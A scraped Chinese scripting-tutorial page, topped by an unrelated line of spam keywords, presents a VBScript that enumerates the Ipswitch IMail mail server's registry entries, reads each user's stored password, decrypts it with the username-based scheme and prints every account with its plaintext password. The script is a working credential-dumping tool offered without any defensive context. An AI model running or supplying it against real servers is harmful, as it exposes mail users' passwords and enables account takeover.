穆赫兰大道qvod,国内网上商城排名,青岛华臣影城今日影讯
on error resume next
const hkey_local_machine = &h80000002
strcomputer = "."
set oreg=getobject("winmgmts:{impersonationlevel=impersonate}!\\" &_
strcomputer & "\root\default:stdregprov")
strkeypath = "software\ipswitch\imail\domains"
oreg.enumkey hkey_local_machine, strkeypath, arrsubkeys
for each subkey in arrsubkeys
wscript.echo "domain: "&subkey
strkeypath2 = strkeypath&"\"&subkey&"\users"
oreg.enumkey hkey_local_machine, strkeypath2, arrsubkeys2
for each subkey2 in arrsubkeys2
strkeypath3=strkeypath2&"\"&subkey2
strvaluename = "password"
oreg.getstringvalue hkey_local_machine,strkeypath3,strvaluename,strvalue
if len(subkey2) and len(strvalue) then
wscript.echo subkey2 &" : " & decrypt(subkey2,strvalue)
end if
next
next
function decrypt(name,pass)
while len(name)<len(pass)/2
name=name&name
wend
for i=0 to len(pass)/2-1
p=mid(pass,2*i+1,2)
p="&h"&p
n=mid(name,i+1,1)
decrypt=decrypt&chr(clng(p)-asc(n))
next
end function
如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!!
点击进行留言回复
相关文章:
-
-
-
用vbs实现文本循环读取
因为测试中需要读取一批url数据进行浏览,其实使用qtp本身的table能实现多种读取方式,但是因为需要tabel是使用excel保存的,在没有...
[阅读全文]
-
-
-
-
-
-
-
-
网友评论